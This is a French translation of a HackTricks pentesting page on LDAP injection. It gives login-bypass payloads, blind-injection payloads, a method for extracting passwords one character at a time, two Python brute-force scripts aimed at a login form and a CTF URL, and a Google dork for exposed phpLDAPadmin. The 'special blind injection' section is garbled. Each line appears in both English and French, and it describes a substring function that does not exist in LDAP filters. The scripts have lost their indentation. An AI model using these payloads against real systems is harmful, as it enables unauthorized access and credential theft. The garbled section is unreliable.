# Injection LDAP
## Injection LDAP
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
\
**Astuce de chasse aux bogues de prime**: **inscrivez-vous** à **Intigriti**, une plateforme de prime de bogue premium créée par des pirates informatiques, pour les pirates informatiques ! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) dès aujourd'hui et commencez à gagner des primes allant jusqu'à **100 000 $** !
{% embed url="https://go.intigriti.com/hacktricks" %}
## Injection LDAP
### **LDAP**
**Si vous voulez savoir ce qu'est LDAP, accédez à la page suivante :**
{% content-ref url="../network-services-pentesting/pentesting-ldap.md" %}
[pentesting-ldap.md](../network-services-pentesting/pentesting-ldap.md)
{% endcontent-ref %}
L'**injection LDAP** est une attaque utilisée pour **exploiter** les applications **web** qui construisent des **instructions LDAP** basées sur **l'entrée de l'utilisateur**. Lorsqu'une application **ne parvient pas** à **sanitiser** correctement l'entrée de l'utilisateur, il est possible de modifier les instructions LDAP à l'aide d'un proxy local.
{% file src="../.gitbook/assets/en-blackhat-europe-2008-ldap-injection-blind-ldap-injection.pdf" %}
**Filtre** = ( filtercomp )\
**Filtercomp** = and / or / not / item\
**And** = & filterlist\
**Or** = |filterlist\
**Not** = ! filter\
**Filterlist** = 1\*filter\
**Item**= simple / present / substring\
**Simple** = attr filtertype assertionvalue\
**Filtertype** = _'=' / '\~=' / '>=' / '<='_\
**Present** = attr = \*\
**Substring** = attr ”=” \[initial] \* \[final]\
**Initial** = assertionvalue\
**Final** = assertionvalue\
**(&)** = VRAI absolu\
**(|)** = FAUX absolu
Par exemple :\
`(&(!(objectClass=Impresoras))(uid=s*))`\
`(&(objectClass=user)(uid=*))`
Vous pouvez accéder à la base de données, qui peut contenir des informations de différents types.
**OpenLDAP** : Si 2 filtres arrivent, seul le premier est exécuté.\
**ADAM ou Microsoft LDS** : Avec 2 filtres, ils renvoient une erreur.\
**SunOne Directory Server 5.0** : Exécute les deux filtres.
**Il est très important d'envoyer le filtre avec une syntaxe correcte, sinon une erreur sera renvoyée. Il est préférable d'envoyer un seul filtre.**
Le filtre doit commencer par : `&` ou `|`\
Exemple : `(&(directory=val1)(folder=public))`
`(&(objectClass=VALUE1)(type=Epson*))`\
`VALUE1 = *)(ObjectClass=*))(&(objectClass=void`
Ensuite : `(&(objectClass=`**`*)(ObjectClass=*))`** sera le premier filtre (celui qui est exécuté).
### Contournement de la connexion
LDAP prend en charge plusieurs formats pour stocker le mot de passe : clair, md5, smd5, sh1, sha, crypt. Il se peut donc que, indépendamment de ce que vous insérez dans le mot de passe, il soit haché.
```bash
user=*
password=*
--> (&(user=*)(password=*))
# The asterisks are great in LDAPi
```
```bash
user=*)(&
password=*)(&
--> (&(user=*)(&)(password=*)(&))
```
```bash
user=*)(|(&
pass=pwd)
--> (&(user=*)(|(&)(pass=pwd))
```
```bash
user=*)(|(password=*
password=test)
--> (&(user=*)(|(password=*)(password=test))
```
```bash
user=*))%00
pass=any
--> (&(user=*))%00 --> Nothing more is executed
```
```bash
user=admin)(&)
password=pwd
--> (&(user=admin)(&))(password=pwd) #Can through an error
```
```bash
username = admin)(!(&(|
pass = any))
--> (&(uid= admin)(!(& (|) (webpassword=any)))) —> As (|) is FALSE then the user is admin and the password check is True.
```
```bash
username=*
password=*)(&
--> (&(user=*)(password=*)(&))
```
```bash
username=admin))(|(|
password=any
--> (&(uid=admin)) (| (|) (webpassword=any))
```
#### Listes
* [LDAP\_FUZZ](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20Injection/Intruder/LDAP\_FUZZ.txt)
* [Attributs LDAP](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt)
* [Attributs LDAP PosixAccount](https://tldp.org/HOWTO/archived/LDAP-Implementation-HOWTO/schemas.html)
### Injection LDAP aveugle
Vous pouvez forcer des réponses fausses ou vraies pour vérifier si des données sont renvoyées et confirmer une possible injection LDAP aveugle :
```bash
#This will result on True, so some information will be shown
Payload: *)(objectClass=*))(&objectClass=void
Final query: (&(objectClass= *)(objectClass=*))(&objectClass=void )(type=Pepi*))
```
```bash
#This will result on True, so no information will be returned or shown
Payload: void)(objectClass=void))(&objectClass=void
Final query: (&(objectClass= void)(objectClass=void))(&objectClass=void )(type=Pepi*))
```
#### Extraction de données
Vous pouvez itérer sur les lettres ASCII, les chiffres et les symboles :
```bash
(&(sn=administrator)(password=*)) : OK
(&(sn=administrator)(password=A*)) : KO
(&(sn=administrator)(password=B*)) : KO
...
(&(sn=administrator)(password=M*)) : OK
(&(sn=administrator)(password=MA*)) : KO
(&(sn=administrator)(password=MB*)) : KO
...
```
### Scripts
#### **Découvrir les champs LDAP valides**
Les objets LDAP **contiennent par défaut plusieurs attributs** qui peuvent être utilisés pour **enregistrer des informations**. Vous pouvez essayer de **forcer tous ces attributs pour extraire ces informations**. Vous pouvez trouver une liste des [**attributs LDAP par défaut ici**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt).
```python
#!/usr/bin/python3
import requests
import string
from time import sleep
import sys
proxy = { "http": "localhost:8080" }
url = "http://10.10.10.10/login.php"
alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"
attributes = ["c", "cn", "co", "commonName", "dc", "facsimileTelephoneNumber", "givenName", "gn", "homePhone", "id", "jpegPhoto", "l", "mail", "mobile", "name", "o", "objectClass", "ou", "owner", "pager", "password", "sn", "st", "surname", "uid", "username", "userPassword",]
for attribute in attributes: #Extract all attributes
value = ""
finish = False
while not finish:
for char in alphabet: #In each possition test each possible printable char
query = f"*)({attribute}={value}{char}*"
data = {'login':query, 'password':'bla'}
r = requests.post(url, data=data, proxies=proxy)
sys.stdout.write(f"\r{attribute}: {value}{char}")
#sleep(0.5) #Avoid brute-force bans
if "Cannot login" in r.text:
value += str(char)
break
if char == alphabet[-1]: #If last of all the chars, then, no more chars in the value
finish = True
print()
```
#### **Injection LDAP aveugle spéciale (sans "\*")**
---
This technique is useful when the application filters the wildcard character "\*". In this case, we can use the `substring` function to extract the information we need.
Cette technique est utile lorsque l'application filtre le caractère générique "\*". Dans ce cas, nous pouvons utiliser la fonction `substring` pour extraire les informations dont nous avons besoin.
The syntax of the `substring` function is as follows:
La syntaxe de la fonction `substring` est la suivante :
```
substring(attribute, index, length)
```
Where:
- `attribute`: the attribute we want to extract.
- `index`: the starting index of the substring.
- `length`: the length of the substring.
Où :
- `attribute` : l'attribut que nous voulons extraire.
- `index` : l'index de départ de la sous-chaîne.
- `length` : la longueur de la sous-chaîne.
For example, if we want to extract the first character of the `cn` attribute, we can use the following payload:
Par exemple, si nous voulons extraire le premier caractère de l'attribut `cn`, nous pouvons utiliser la charge utile suivante :
```
*)(cn=*))(|(cn=*))(|(sn=*))(|(userPassword=*))(|(uid=*))(|(uidNumber=*))(|(gidNumber=*))(|(mail=*))(|(objectClass=*))(cn=^A*)
```
Where `^A` represents the ASCII character with code 1.
Où `^A` représente le caractère ASCII avec le code 1.
This payload will return all the entries that have a non-empty `cn` attribute, and the first character of the `cn` attribute will be included in the response.
Cette charge utile renverra toutes les entrées qui ont un attribut `cn` non vide, et le premier caractère de l'attribut `cn` sera inclus dans la réponse.
```python
#!/usr/bin/python3
import requests, string
alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"
flag = ""
for i in range(50):
print("[i] Looking for number " + str(i))
for char in alphabet:
r = requests.get("http://ctf.web??action=dir&search=admin*)(password=" + flag + char)
if ("TRUE CONDITION" in r.text):
flag += char
print("[+] Flag: " + flag)
break
```
### Google Dorks
### Dorks Google
Google Dorks are special search queries that can be used to find sensitive information on the internet, such as passwords, credit card numbers, and other confidential data. These queries are usually used by hackers and penetration testers to identify potential targets for attacks.
Les Google Dorks sont des requêtes de recherche spéciales qui peuvent être utilisées pour trouver des informations sensibles sur Internet, telles que des mots de passe, des numéros de carte de crédit et d'autres données confidentielles. Ces requêtes sont généralement utilisées par les hackers et les testeurs de pénétration pour identifier des cibles potentielles pour des attaques.
```bash
intitle:"phpLDAPadmin" inurl:cmd.php
```
### Plus de Payloads
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %}
\
**Astuce de prime de bug**: **inscrivez-vous** à **Intigriti**, une plateforme de prime de bug premium créée par des hackers, pour les hackers! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) aujourd'hui et commencez à gagner des primes allant jusqu'à **100 000 $**!
{% embed url="https://go.intigriti.com/hacktricks" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
* Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).